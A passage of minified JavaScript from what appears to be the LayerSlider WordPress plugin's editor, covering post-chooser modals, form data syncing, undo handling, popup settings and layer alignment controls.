a=jQuery('<tr class="lse-layer-item">\t\t\t\t\t<td>\t\t\t\t\t\t<lse-b class="lse-layer-thumb-wrapper">\t\t\t\t\t\t\t<lse-b class="lse-layer-thumb lse-it-fix"></lse-b>\t\t\t\t\t</lse-b>\t\t\t\t\t</td>\t\t\t\t\t<td class="lse-name">\t\t\t\t\t\t<lse-b>\t\t\t\t\t\t\t<lse-i></lse-i>\t\t\t\t\t\t</lse-b>\t\t\t\t\t</td>\t\t\t\t</tr>');a.data("layer-data",t),LayerSlider.setLayerMedia(t.media,jQuery(".lse-layer-thumb",a),t),jQuery(".lse-name lse-i",a).html(t.subtitle),a.appendTo(i)}))}else t.html(LS_l10n.SBImportLayerNoLayer)},selectLayer:function(e){LS_editorMeta.isActivatedSite||!LS_ImportLayer.pt?($tr=jQuery(e),$tr.addClass("lse-added"),LayerSlider.addLayer([$tr.data("layer-data")]),LayerSlider.reindexProjectGoogleFonts(),setTimeout((function(){LayerSlider.addFontsLoadedEvent()}),100)):lsDisplayActivationWindow({title:LS_l10n.SBImportLayerPTMT})},close:function(){kmw.modal.close()}},LS_PostOptions={init:function(){jQuery("body").on("click",".lse-configure-post-options",(function(e){e.preventDefault(),LS_PostOptions.open(this)})),jQuery("#lse-post-options select:not(.lse-post-taxonomy, .lse-post-offset)").change((function(){lsSetEditorDirtyState(!0),window.lsSliderData.properties[jQuery(this).attr("name")]=jQuery(this).val(),LS_PostOptions.change(this)})),jQuery("#lse-post-options select.lse-post-offset").change((function(){lsSetEditorDirtyState(!0),LS_activeSlideData.properties.post_offset=jQuery(this).val(),LayerSlider.willGeneratePreview()})),jQuery("#lse-post-options select.lse-post-taxonomy").change((function(){window.lsSliderData.properties.post_taxonomy=jQuery(this).val(),LS_PostOptions.getTaxonoies(this)})),jQuery("#lse-post-placeholders").on("click","lse-button",(function(){LS_PostOptions.insertPlaceholder(this)}))},open:function(e){kmw.modal.open({content:jQuery("#lse-post-options"),minWidth:980,maxWidth:1180,spacing:10});var t=parseInt(LS_activeSlideData.properties.post_offset)+1,i=jQuery("#lse-post-options").show();i.find("select.lse-post-offset option").prop("selected",!1).eq(t).prop("selected",!0),0===i.find(".lse-post-previews lse-row").children().length&&LS_PostOptions.change(i.find("select")[0])},getTaxonoies:function(e){var t=jQuery(".lse-post-taxonomy-terms").empty();0==jQuery(e).val()?LS_PostOptions.change(e):jQuery.post(ajaxurl,jQuery.param({action:"ls_get_taxonomies",taxonomy:jQuery(e).val()}),(function(e){for(e=jQuery.parseJSON(e),c=0;c<e.length;c++)t.append(jQuery("<option>",{value:e[c].term_id,text:e[c].name}))}))},change:function(e){var t={};jQuery("#lse-post-options").find("select").each((function(){t[jQuery(this).data("param")]=jQuery(this).val()})),jQuery.post(ajaxurl,jQuery.param({action:"ls_get_post_details",params:t}),(function(t){var i=jQuery.parseJSON(t);window.lsPostsJSON=i,LayerSlider.willGeneratePreview(),LS_PostOptions.update(e,i)}))},update:function(e,t){var i=jQuery("#lse-post-options").find(".lse-post-previews lse-row").empty();if(0===t.length)i.append(jQuery('<lse-col class="lse-p-0 lse-tac" style="margin-top: 105px;">').append(jQuery("<lse-h3>",{text:LS_l10n.SBPostFilterWarning})));else for(c=0;c<t.length;c++){var a=t[c].content;a&&(a=(a=a.replace(/<br>/g,"")).replace(/<br \/>/g,"")),i.append(jQuery("<lse-col>").append(jQuery("<lse-i>",{class:"lse-post-counter",text:c+1})).append(jQuery("<lse-ib>",{class:"lse-post-image"}).css("background-image","url("+t[c]["thumbnail-url"]+")")).append(jQuery("<lse-h3>",{html:t[c].title})).append(jQuery("<lse-b>",{class:"lse-post-author",text:t[c]["date-published"]+" by "+t[c].author})))}},close:function(){kmw.modal.close()},insertPlaceholder:function(e){var t=jQuery("#lse-layer-content")[0],i=void 0!==jQuery(e).data("placeholder")?jQuery(e).data("placeholder"):jQuery(e).text();if(document.selection)t.focus(),document.selection.createRange().text=i,t.focus();else if(t.selectionStart||0===t.selectionStart){var a=t.selectionStart,r=t.selectionEnd,s=t.scrollTop;t.value=t.value.substring(0,a)+i+t.value.substring(r,t.value.length),t.focus(),t.selectionStart=a+i.length,t.selectionEnd=a+i.length,t.scrollTop=s}else t.value+=i,t.focus();jQuery(t).trigger("input").trigger("change")}},LS_PostChooser={timeout:null,data:null,opened:null,init:function(){jQuery(document).on("click",".lse-link-fields .lse-link-post",(function(e){LS_PostChooser.opener=this,LS_PostChooser.open()})).on("click","#lse-post-chooser-modal-window .lse-link-item",(function(e){e.preventDefault(),LS_PostChooser.select(jQuery(this))})).on("input","#lse-post-chooser-modal-window input",(function(e){LS_PostChooser.search()})).on("change","#lse-post-chooser-modal-window select",(function(e){LS_PostChooser.search(1)})).on("submit","#lse-post-chooser-modal-window form",(function(e){e.preventDefault(),LS_PostChooser.search(1)}))},open:function(){kmw.modal.open({uid:"lse-post-chooser",content:"#tmpl-post-chooser",minWidth:720,maxWidth:930,maxHeight:"100%",onClose:function(){LS_PostChooser.close()}}),this.search()},search:function(e){e=e||300,clearTimeout(LS_PostChooser.timeout),LS_PostChooser.timeout=setTimeout((function(){var e=jQuery("#lse-post-chooser-modal-window form");jQuery.getJSON(ajaxurl,e.serialize(),(function(e){LS_PostChooser.data=e,jQuery("#lse-post-chooser-modal-window .lse-post-previews lse-row").empty(),jQuery.each(e,(function(e,t){let i=t["image-url"]&&-1===t["image-url"].indexOf("blank.gif");jQuery('<lse-col class="lse-link-item lse-half">\t\t\t\t\t\t\t\t<lse-table-wrapper>\t\t\t\t\t\t\t\t\t<lse-b class="lse-featured-image-wrapper">\t\t\t\t\t\t\t\t\t\t<lse-b class="lse-no-featured-image '+(i?"lse-dn":"")+'">\t\t\t\t\t\t\t\t\t\t\t'+LS_l10n.SBNoPreview+'\t\t\t\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t\t\t\t<lse-b class="lse-featured-image" style="background-image: url('+t["image-url"]+');">\t\t\t\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t\t\t<lse-b class="lse-post-info">\t\t\t\t\t\t\t\t\t\t<lse-h3>'+t.title+'</lse-h3>\t\t\t\t\t\t\t\t\t\t<lse-b class="lse-author">'+t["date-published"]+" by "+t.author+"</lse-b>\t\t\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t\t</lse-table-wrapper>\t\t\t\t\t\t\t</lse-col>").appendTo("#lse-post-chooser-modal-window .lse-post-previews lse-row")}))}))}),e)},select:function(e){var t=LS_PostChooser.data[e.index()],i="SBLinkText"+ucFirst(t["post-type"]),a=jQuery(LS_PostChooser.opener).closest(".lse-link-fields"),r=jQuery(".lse-link-url-input",a);t.title=jQuery("<textarea>").html(t.title).text(),r.val(LS_l10n[i].replace("%s",t.title)).prop("disabled",!0).next().val(t["post-id"]).next().val(t.title).next().val(t["post-type"]);var s=a.closest("lse-slide-settings").length,l=s?LS_activeSlideData.properties:LS_activeLayerDataSet[0],o=s?"SLIDE_SETTINGS":"LAYER_SETTINGS",n=s?"slide.general":"layer.general",d=s?LS_activeSlideIndex:LS_activeLayerIndexSet[0],c=s?"layer_link":"url";LS_UndoManager.add(n,o,{itemIndex:d,undo:{[c]:l[c]||"",linkId:l.linkId||"",linkName:l.linkName||"",linkType:l.linkType||""},redo:{[c]:LS_l10n[i].replace("%s",t.title),linkId:t["post-id"],linkName:t.title,linkType:t["post-type"]}}),a.addClass("lse-has-link").find("input").trigger("input"),kmw.modal.close("lse-post-chooser")},close:function(){LS_PostChooser.opened=!1,jQuery("#lse-post-chooser-modal-window .lse-post-previews lse-row").empty()}},LS_DataSource={reloadEditorData:function(){window.LS_activeSlideData=window.lsSliderData.layers[LS_activeSlideIndex],window.LS_activeSlideData.sublayers.length&&(window.LS_activeLayerIndexSet=[0]),lsEditor.preview.exit(),LayerSlider.rebuildSlides(),LS_DataSource.buildSlide(),LayerSlider.generatePreview(),LayerSlider.selectLayer(LS_activeLayerIndexSet,{forceSelect:!0}),LayerSlider.updatePreviewSelection(),LS_UndoManager.update()},buildSlide:function(){var e=jQuery("lse-slide-settings"),t=(LS_DataSource.getDefaultSlideData(),(t=e.find("input,textarea,select")).add(jQuery('input[name="slidedelay"]'))),i=jQuery("input,textarea,select",e).filter(".lse-restore-prop");LS_DataSource.setFormItemValues(t,LS_activeSlideData.properties),LS_GUI.updateImagePicker("background",LS_activeSlideData.properties.backgroundThumb),LS_GUI.updateImagePicker("thumbnail",LS_activeSlideData.properties.thumbnailThumb),LS_GUI.updateLinkPicker("layer_link"),i.trigger("input."+lsEditor.settings.nameSpace),jQuery("lse-slide-settings .lse-datepicker-input").each((function(){var e=jQuery(this),t=jQuery(this).data("datepickerKey");if(LS_preventDatePickerChange=!0,e.data("datepicker").clear(),t&&LS_activeSlideData.properties[t]){var i=LS_activeSlideData.properties[t]+""+LS_Utils.jsTimeZoneID();startDate=new Date(i),e.data("datepicker")&&(e.data("datepicker").selectDate(startDate),e.trigger("keyup"))}LS_preventDatePickerChange=!1})),LayerSlider.updateCustomSlideProperties(),this.buildLayersList()},buildLayersList:function(e){e=e||{updateLayer:!0};for(var t=jQuery("#lse-layers-list").empty(),i=LS_activeSlideData.sublayers?LS_activeSlideData.sublayers.length:0,a=jQuery(jQuery("#lse-layer-item-template").html()),r=0;r<i;r++){var s=LS_activeSlideData.sublayers[r],l=a.clone();l.find(".lse-layer-text input").val(s.subtitle),s.skip&&l.find(".lse-hide-layer").addClass("lse-hidden"),s.locked&&l.find(".lse-lock-layer").addClass("lse-locked"),l[s["hide_on_"+LS_activeScreenType]?"addClass":"removeClass"]("lse-dim"),LayerSlider.setLayerMedia(s.media,jQuery(".lse-layer-thumb",l),s),t.append(l),LayerSlider.maintainLayerWarnings(r)}jQuery(".lse-static-layers-head").hide(),jQuery("#lse-static-layers-list").empty(),LS_activeStaticLayersDataSet.length&&(jQuery(".lse-static-layers-head").show(),a=jQuery(jQuery("#lse-static-layer-item-template").html()),jQuery.each(LS_activeStaticLayersDataSet,(function(e,t){var i=t.layerData,r=a.clone();r.find(".lse-layer-title").text(i.subtitle),LayerSlider.setLayerMedia(i.media,jQuery(".lse-layer-thumb",r),i),r.appendTo("#lse-static-layers-list")}))),jQuery.each(LS_activeLayerIndexSet,(function(e,i){t.children().eq(i).addClass("lse-active")})),e.updateLayer&&this.buildLayer()},buildLayersListItem:function(e){if(!LS_activeLayerDataSet.length||!LS_activeSlideData.sublayers.length)return!1;e=e||LS_activeLayerIndexSet[0];var t=LS_activeSlideData.sublayers[e],i=jQuery(jQuery("#lse-layer-item-template").html()),a=jQuery("#lse-layers-list lse-li").eq(e);$layer=i.clone(),$layer.find(".lse-layer-title").val(t.subtitle),t.skip&&$layer.find(".lse-hide-layer").addClass("lse-hidden"),t.locked&&$layer.find(".lse-lock-layer").addClass("lse-locked"),$layer[t["hide_on_"+LS_activeScreenType]?"addClass":"removeClass"]("lse-dim"),LS_activeLayerIndexSet[0]===a.index()&&$layer.addClass("lse-active"),LayerSlider.setLayerMedia(t.media,jQuery(".lse-layer-thumb",$layer),t),a.replaceWith($layer),LayerSlider.maintainLayerWarnings(e)},buildLayer:function(){if(!LS_activeLayerDataSet.length||!LS_activeSlideData.sublayers.length)return!1;jQuery("#lse-layers-list lse-li.lse-active");var e=jQuery("lse-layer-settings lse-sidebar-body"),t=LS_activeLayerIndexSet[0],i=LS_activeLayerDataSet[0],a=jQuery("input,textarea,select",e).filter(":not(.lse-style-prop,.lse-transition-prop)"),r=jQuery("input,textarea,select",e).filter(".lse-style-prop"),s=jQuery("input,textarea,select",e).filter(".lse-transition-prop"),l=jQuery("input,textarea,select",e).filter(".lse-restore-prop");LS_DataSource.setFormItemValues(a,i),LS_DataSource.setFormItemValues(r,i.styles),i.transition&&!jQuery.isEmptyObject(i.transition)||this.restoreOldTransitionSettings(s),LS_DataSource.setFormItemValues(s,i.transition),LayerSlider.updateLayerInterfaceItems(t),l.trigger("input."+lsEditor.settings.nameSpace),LayerSlider.setupStaticLayersChooser(e.find('select[name="static"]')[0]),LS_activeLayerIndexSet.length>1&&LayerSlider.startMultipleSelection()},setFormItemValues:function(e,t){if(!e||!t||jQuery.isEmptyObject(t))return!1;for(let i=0;i<e.length;i++){let a,r=jQuery(e[i]),s=r.attr("data-prop"),l=r.attr("type"),o=r.data("default");if(s){if(a=t[s],"number"===l&&(a=parseFloat(t[s]),a=isNaN(a)?"":a),!a&&!1!==a&&0!==a){if(void 0===o)continue;a=o}r.is(":checkbox")?r.prop("checked",Boolean(a)).data("value",Boolean(a)):r.is("input,textarea")?(r.is('input[type="range"],input[type="hidden"]')||r.closest(".lse-color-input").length||(a=a==o&&""!==o?"":a),r.val(a).data("value",a)):r.is("select")&&(r.children().prop("selected",!1),r.children('[value="'+a+'"]').prop("selected",!0),r.data("value",a))}}},updateProperties:function(e,t,i,a,r){let s={},l={};jQuery.each(r,(function(e,t){s[e]=a[e],l[e]=t,a[e]=t})),LS_UndoManager.add(e,t,{itemIndex:i,undo:s,redo:l})},setLayerDataFromInputs:function(e){jQuery.each(LS_activeLayerDataSet,(function(t,i){e.each((function(){var e=jQuery(this),t=this.name,a=i,r=e.val();e.hasClass("lse-transition-prop")?a=a.transition:e.hasClass("lse-style-prop")&&(a=a.styles),t&&(a[t]=r)}))}))},setLayerUndoManagerFromInputs:function(e){let t=[],i="layer.general",a="LAYER_SETTINGS";jQuery.each(LS_activeLayerIndexSet,(function(r,s){let l=LS_activeLayerDataSet[r],o={},n={};e.each((function(){let e=jQuery(this),t=l,r=e.data("prevVal"),s=e.val(),d="";e.hasClass("lse-transition-prop")?(d="transition",t=t.transition,i="layer.transition",a="LAYER_SETTINGS"):e.hasClass("lse-style-prop")&&(d="styles",t=t.styles,i="layer.style",a="LAYER_STYLES"),r!=s&&(d?(o[d]||(o[d]={}),n[d]||(n[d]={}),o[d][this.name]=r,n[d][this.name]=s):(o[this.name]=r,n[this.name]=s))})),t.push({itemIndex:s,undo:o,redo:n})})),LS_UndoManager.add("layer.general",a,t)},readSliderSettings:function(){var e={};return jQuery(".lse-project-settings").find("input,textarea,select").each((function(){var t=jQuery(this),i=t.attr("name"),a=t.is(":checkbox")?t.prop("checked"):t.val();i&&!1!==a&&(e[i]=a)})),e},parseSliderSetting:function(){var e,t=window.lsSliderData.properties;for(e in t)switch(t[e]){case"on":case"true":t[e]=!0;break;case"off":case"false":t[e]=!1}},getDefaultSlideData:function(){return jQuery.isEmptyObject(LS_defaultSlideData)?(jQuery("lse-slide-settings").find("input, textarea, select").each((function(){var e=jQuery(this),t=e.attr("name"),i=e.data("default");t&&void 0!==i&&(LS_defaultSlideData[t]=i)})),LS_defaultSlideData):LS_defaultSlideData},getDefaultLayerData:function(){if(jQuery.isEmptyObject(LS_defaultLayerData)){let e=jQuery([]);LS_defaultLayerData.transition={},LS_defaultLayerData.styles={},jQuery("lse-layer-settings lse-sidebar-body").each((function(){let t=jQuery(this);t.hasClass("lse-layer-transition-panel")?jQuery('.lse-layer-transition-checkbox[data-default="true"]',t).each((function(){e=e.add(jQuery("input, textarea, select",jQuery(this).closest("lse-sidebar-section")))})):e=e.add(jQuery("input, textarea, select",t))})),e.each((function(){var e=jQuery(this),t=e.attr("name"),i=e.data("default");t&&void 0!==i&&(e.hasClass("lse-transition-prop")?LS_defaultLayerData.transition[t]=i:e.hasClass("lse-style-prop")?""!==i&&(LS_defaultLayerData.styles[t]=i):LS_defaultLayerData[t]=i)}))}return LS_defaultLayerData.autoSubtitle=!0,LS_defaultLayerData.subtitle="",LS_defaultLayerData},uuidForSlide:function(e){return e=e||LS_activeSlideIndex,this.uuidForObject(window.lsSliderData.layers[e].properties)},slideForUUID:function(e){var t;return jQuery.each(window.lsSliderData.layers,(function(i,a){if(a.properties.uuid&&a.properties.uuid==e)return t=i,!1})),t},uuidForLayer:function(e,t){void 0===e&&(e=LS_activeLayerIndexSet[0]),void 0===t&&(t=LS_activeSlideIndex);var i=window.lsSliderData.layers[t];return this.uuidForObject(i.sublayers[e])},layerForUUID:function(e){},uuidForObject:function(e){return e.uuid&&e.uuid.length||(e.uuid=this.generateUUID()),e.uuid},generateUUID:function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){var t=16*Math.random()|0;return("x"==e?t:3&t|8).toString(16)}))},projectHasScrollTransition:function(){let e=!1;return jQuery.each(window.lsSliderData.layers,((t,i)=>(jQuery.each(i.sublayers,((t,i)=>{if(i.transition.scroll)return e=!0,!1})),!e))),e},projectIsScrollScene:function(){return"scroll"===window.lsSliderData.properties.scene&&"popup"!==window.lsSliderData.properties.type},restoreOldTransitionSettings:function(e){for(var t=[],i=0;void 0!==e[i];t.push(e[i++].getAttribute("name")));jQuery.each(window.lsSliderData.layers,(function(e,i){jQuery.each(i.sublayers,(function(e,i){for(var a=0;a<t.length;a++)i[t[a]]&&(i.transition[t[a]]=i[t[a]],delete i[t[a]])}))}))}},sliderBuilderIsReady=function(){sliderBuilderDidLoad()},sliderBuilderDidLoad=function(){if(lsEditor.loading.hide(),LayerSlider.showEditorWarnings(),history.replaceState){if(-1!=document.location.href.indexOf("&showsettings=1")){var e=document.location.href.replace("&showsettings=1","");history.replaceState(null,document.title,e),localStorage["lse-welcome-guide-completed"]&&setTimeout((function(){jQuery("#lse-show-project-settings").click()}),500)}if(-1!=document.location.href.indexOf("&showrevisions=1")){e=document.location.href.replace("&showrevisions=1","");history.replaceState(null,document.title,e),localStorage["lse-welcome-guide-completed"]&&setTimeout((function(){jQuery(".lse-toggle-revisions:first").click()}),500)}}localStorage["lse-welcome-guide-completed"]||setTimeout((function(){jQuery('lse-button[data-tour="interfaceWalkthrough"]').click()}),1e3)},initSliderBuilder=function(){LS_sliderID||(LS_sliderID=jQuery('#lse-editor-form input[name="slider_id"]').val()),LS_previewArea=jQuery("lse-preview-area"),LS_previewHolder=LS_previewArea.parent(),LS_previewWrapper=LS_previewHolder.parent(),jQuery.ui.selectable.prototype.options.distance=3,jQuery.ui.draggable.prototype.options.distance=3,jQuery.ui.sortable.prototype.options.distance=3,window.lsSliderData.properties.new?(window.lsSliderData.properties=LS_DataSource.readSliderSettings(),window.lsSliderData.properties.createdWith=jQuery('input[name="sliderVersion"]').val(),window.lsSliderData.googlefonts=[],window.lsSliderData.layers=[{properties:jQuery.extend(!0,{},LS_DataSource.getDefaultSlideData()),sublayers:[]}]):window.lsSliderData.properties=jQuery.extend({},LS_DataSource.readSliderSettings(),window.lsSliderData.properties),window.lsSliderData.googlefonts||(window.lsSliderData.googlefonts=[]),window.lsSliderData.colorData||(window.lsSliderData.colorData={}),LayerSlider.rebuildSlides(),lsEditor.project.setLayout();new TransitionPresets;jQuery(".lse-datepicker-input").each((function(){var e=jQuery(this),t=e.data();e.airDatepicker({inline:!!t.datepickerInline,classes:t.datepickerClasses||"lse-datepicker",language:"en",dateFormat:"yyyy-mm-dd",timeFormat:"hh:ii:00",todayButton:new Date,clearButton:!0,timepicker:!0,keyboardNav:!1,range:!1,onSelect:function(e,t,i){LS_preventDatePickerChange||(i.$el.trigger("input"),lsSetEditorDirtyState(!0))},onShow:function(e){var t=jQuery(e.el).closest(".lse-scrollbar"),i=t.scrollTop(),a=e.$datepicker.position().top;t.find("lse-sidebar-section-body").css({paddingBottom:e.$datepicker.outerHeight()+"px"}),jQuery(".lse-focused-col").closest(".lse-scrollbar").on("scroll.airDatepicker",(function(){let r=t.scrollTop();e.$datepicker.css({top:a-(r-i)+"px"})}))},onHide:function(e){jQuery(e.el).closest(".lse-scrollbar").off("scroll.airDatepicker").find("lse-sidebar-section-body").css({paddingBottom:0})}})})),LayerSlider.updateProjectInterfaceItems(),LayerSlider.selectSlide(LS_activeSlideIndex,{forceSelect:!0}),LS_activeLayerIndexSet.length&&jQuery("#lse-toolbar-sidebar-tabs lse-button:eq(1)").click(),jQuery(window).on("beforeunload",(function(e){if(LS_editorIsDirty){var t=LS_l10n.SBUnsavedChanges;return e.returnValue=t,t}})),jQuery("body").on("click","#lse-warning.lse-warning-old-browser lse-button",(function(){jQuery("#lse-warning.lse-warning-old-browser").removeClass("lse-visible lse-warning-old-browser")})),jQuery("#lse-show-project-settings").click((function(){LayerSlider.openSliderSettings()})),jQuery("#lse-ellipsis-menu").on("change",":checkbox",(function(){var e=jQuery(this),t=e.prop("checked"),i=e.attr("name");LS_editorSettings[i]=t,jQuery.post(ajaxurl,{action:"ls_save_editor_settings",nonce:LS_editorMeta.editorNonce,data:JSON.stringify(LS_editorSettings)})})).on("click","[data-tour]",(function(){var e=jQuery(this),t=e.closest("[data-tour-url]"),i=e.data("tour");LS_tourData?LS_tourData&&LS_tourData[i]&&(lsEditor.gui.close("ellipsis"),iGuider(LS_tourData[i])):import(t.attr("data-tour-url")).then((e=>{e&&e.LS_tourData&&(LS_tourData=e.LS_tourData),LS_tourData&&LS_tourData[i]&&(lsEditor.gui.close("ellipsis"),iGuider(LS_tourData[i]))}))})),jQuery("#lse-project-settings-sidebar kmw-menuitem").click((function(){LayerSlider.selectSettingsTab(this)})),document.location.hash&&LS_GUI.deeplinkSection(),jQuery(window).on("hashchange",(function(){LS_GUI.deeplinkSection()})),jQuery("#lse-save-button").on("click",(function(){LayerSlider.save()})),jQuery("#lse-publish-button").on("click",(function(){LayerSlider.publish()})),jQuery("#lse-project-settings-content .lse-datepicker-input").each((function(){var e=jQuery(this),t=e.data().datepickerKey;t&&window.lsSliderData.properties[t]&&(LS_preventDatePickerChange=!0,startDate=new Date(window.lsSliderData.properties[t]+""+LS_Utils.jsTimeZoneID()),e.data("datepicker").selectDate(startDate),e.trigger("keyup"),LS_preventDatePickerChange=!1)})),jQuery(".lse-popup-settings").on("click",".lse-popup-include-all-pages",(function(){var e=jQuery(this),t=jQuery(".lse-popup-include-pages lse-ib:not(:first-child), .lse-popup-include-custom-pages");e.prop("checked")?t.addClass("lse-dn"):t.removeClass("lse-dn")})).on("click",".lse-popup-preview-button",(function(e){e.preventDefault();let t=jQuery(this);if(t.hasClass("lse-inactive"))return!1;t.addClass("lse-disabled"),LayerSlider.startPopupPreview(),setTimeout((function(){t.removeClass("lse-disabled")}),2e3)})).on("keyup change",".lse-popup-triggers :input",(function(){setTimeout((function(){LayerSlider.updatePopupNotifications()}),100)})),jQuery(".lse-popup-include-all-pages").prop("checked")&&jQuery(".lse-popup-include-pages lse-ib:not(:first-child), .lse-popup-include-custom-pages").addClass("lse-dn"),LayerSlider.updatePopupPreview(),jQuery(document).on("click","#lse-popup-presets .lse-layout-illustration-grid",(function(){var e=jQuery(this),t=jQuery(".lse-popup-settings :input"),i=e.data("options");for(var a in"string"==typeof i&&(i=JSON.parse(i)),i){window.lsSliderData.properties[a]=i[a];var r=t.filter('[name="'+a+'"]');"boolean"==typeof i[a]?i[a]!=r.prop("checked")&&r.next().click():r.val(i[a])}LayerSlider.updatePopupPreview()})),LayerSlider.openMediaLibrary(),LS_SearchWindow.init(),jQuery("body").on("click",".lse-layer-open-font-library",(function(e){e.preventDefault(),lsEditor.smartHelp.close(),LS_fontLibrary.open((function(e){lsSliderData.googlefonts.push({param:e}),LayerSlider.loadGoogleFonts(e),-1!==e.indexOf(" ")&&(e="'"+e+"'"),jQuery(".lse-layer-font-family").val(e).trigger("input").trigger("change"),LS_fontLibrary.close(),LayerSlider.reduceGoogleFontList(),LayerSlider.loadPreviewGoogleFonts()}))})),jQuery("body").on("click","#lse-add-layer-modal-window lse-b",(function(){kmw.modal.close(),LayerSlider.addFormattedLayer(this)})).on("click",".lse-context-add-layer lse-button",(function(){LayerSlider.addFormattedLayer(this,{styles:{top:LS_contextMenuTop/LS_previewZoom,left:LS_contextMenuLeft/LS_previewZoom}})})).on("click",".lse-context-overlapping-layers lse-button",(function(e){var t=jQuery(this).data("layerIndex");t&&LayerSlider.selectPreviewItem(t,e)})).on("click",".lse-context-menu-duplicate",(function(){LayerSlider.duplicateLayer()})).on("click",".lse-context-menu-remove",(function(){LayerSlider.removeLayer()})).on("click",".lse-context-menu-hide",(function(){LayerSlider.hideLayer()})).on("click",".lse-context-menu-lock",(function(){LayerSlider.lockLayer()})).on("click",".lse-context-menu-copy-styles",(function(){LayerSlider.copyLayerSettings(jQuery(".lse-layer-style-panel .lse-copy-layer-properties"))})).on("click",".lse-context-menu-paste-styles",(function(){LayerSlider.pasteLayerSettings(jQuery(".lse-layer-style-panel .lse-paste-layer-properties"))})).on("click",".lse-context-menu-copy-layer",(function(){
LayerSlider.copyLayer()})).on("click",".lse-context-menu-paste-layer",(function(){LayerSlider.pasteLayer()})).on("click",".lse-context-menu-align lse-button",(function(e){for(var t,i,a,r,s,l,o=jQuery(".ui-selected-helper"),n=jQuery(this).data("move").split(" "),d=o.position().top,c=o.position().left,u=o.width(),p=o.height(),y=LS_previewArea.width()*LS_previewZoom,h=LS_previewArea.height()*LS_previewZoom,S=[],m=!1,v=!1,L=0;L<n.length;L++)switch(n[L]){case"left":a=0,r="0%",m=!0;break;case"center":a=y/2-u/2,r="50%",m=!0;break;case"right":a=y-u,r="100%",m=!0;break;case"top":s=0,l="0%",v=!0;break;case"middle":s=h/2-p/2,l="50%",v=!0;break;case"bottom":s=h-p,l="100%",v=!0}t=d-s,i=c-a,jQuery.each(LS_activeLayerIndexSet,(function(e,a){var s=LS_activeSlideData.sublayers[a],o={},n={};if(s.locked)return!1;var d=LS_previewItems[a].position(),c=Math.round((d.left-i)/LS_previewZoom).toString(),u=Math.round((d.top-t)/LS_previewZoom).toString();1===LS_activeLayerIndexSet.length&&(c=r,u=l),m&&(o.left=s.styles.left,n.left=c,s.styles.left=c,jQuery("lse-layer-settings input[name=left]").val(c)),v&&(o.top=s.styles.top,n.top=u,s.styles.top=u,jQuery("lse-layer-settings input[name=top]").val(u)),S.push({itemIndex:a,undo:o,redo:n}),LayerSlider.generatePreviewItem(a)})),LayerSlider.updatePreviewSelection(),LS_UndoManager.add("layer.style","LAYER_ALIGN",S)})).on("click",".lse-context-menu-align-in-selection lse-button",(function(e){var t,i,a=jQuery(".ui-selected-helper"),r=jQuery(this).data("move"),s=a.position().top/LS_previewZoom,l=a.position().left/LS_previewZoom,o=a.width()/LS_previewZoom,n=a.height()/LS_previewZoom,d=[],c=!1,u=!1;r&&(jQuery.each(LS_activeLayerIndexSet,(function(e,a){var p=LS_activeSlideData.sublayers[a],y={},h={};if(p.locked)return!1;var S=LS_previewItems[a],m=S.position(),v=(Math.round(m.left/LS_previewZoom),Math.round(m.top/LS_previewZoom),Math.round(S.outerWidth())),L=Math.round(S.outerHeight());switch(r){case"left":t=l,c=!0;break;case"center":t=l+o/2-v/2,c=!0;break;case"right":t=l+o-v,c=!0;break;case"top":i=s,u=!0;break;case"middle":i=s+n/2-L/2,u=!0;break;case"bottom":i=s+n-L,u=!0}c&&(y.left=p.styles.left,h.left=Math.round(t),p.styles.left=Math.round(t)),u&&(y.top=p.styles.top,h.top=Math.round(i),p.styles.top=Math.round(i)),d.push({itemIndex:a,undo:y,redo:h}),LayerSlider.generatePreviewItem(a)})),LayerSlider.updatePreviewSelection(),LS_UndoManager.add("layer.style","LAYER_ALIGN",d))})),jQuery(document).on({mouseenter:function(){LayerSlider.highlightPreviewItem(this)},mouseleave:function(){LS_previewArea.children().removeClass("lse-highlighted lse-lowlighted")}},".lse-context-overlapping-layers lse-button"),jQuery(document).on("input.lse-update-data change.lse-update-data",".lse-project-settings input, .lse-project-settings textarea, .lse-project-settings select",(function(e){var t=jQuery(this),i=t.attr("name"),a=t.is(":checkbox")?t.prop("checked"):t.val();i&&(-1!==["width","height","popupWidth","popupHeight"].indexOf(i)&&a&&!a.toString().match(/^\d+$/)&&(a=parseInt(a)||"",t.val(a)),window.lsSliderData.properties[i]=a,-1!==["width","height","popupWidth","popupHeight"].indexOf(i)&&lsEditor.workspace.setSize(),"gradient"===t.data("type")&&(window.lsSliderData.properties[i+"Data"]=t.data("color")),lsSetEditorDirtyState(!0),t.is("select, :checkbox")?LayerSlider.generatePreview():LayerSlider.willGeneratePreview(),"slide"===lsEditor.preview.state&&(lsEditor.preview.exit("slide"),lsEditor.preview.enter("slide")))})),jQuery(document).on("updated.ls",".lse-callback-box textarea",(function(e,t){"object"!=typeof window.lsSliderData.callbacks&&(window.lsSliderData.callbacks={}),lsSetEditorDirtyState(!0);var i=jQuery(this).attr("name"),a=jQuery(this).val(),r=a.match(/\{([\s\S]*)\}/m)[1].replace(/(\r\n|\n|\r)/gm,""),s=jQuery("#lse-callback-events-sidebar").find("lse-li:contains('"+i+"')");if(s.removeClass("lse-warning lse-active"),jQuery.trim(r).length){window.lsSliderData.callbacks[i]=a,s.addClass("lse-active");var l=a.indexOf("{")+1,o=a.length-1;body=a.substring(l,o);try{new Function(body)}catch(e){s.addClass("lse-warning")}}else delete window.lsSliderData.callbacks[i]})).on("click","#lse-callback-events-sidebar lse-li:not(.lse-disabled)",(function(){var e=jQuery(this).text(),t=jQuery("#lse-callback-events").closest(".kmw-modal-inner"),i=t.find('textarea[name="'+e+'"]').closest(".lse-callback-box").position().top;t.animate({scrollTop:i},300)})),jQuery("#lse-add-slide").click((function(e){e.preventDefault(),LayerSlider.addSlide(!1,{showSlideOptions:!0,selectSlide:!0,focusInput:!0,closeSlidesPanel:!1})})),jQuery("#lse-slide-tabs").on("click",".lse-slide-preview",(function(){var e=jQuery(this).closest(".lse-slide-tab");e.hasClass("lse-active")||LayerSlider.selectSlide(e.index(),{forceSelect:!0})})).on("input",".lse-slide-name input",(function(){LayerSlider.renameSlide(this)})),jQuery("body").on("input",".lse-custom-slide-properties input",(function(e){LayerSlider.setCustomSlideProperties(e)})).on("click",".lse-custom-slide-properties 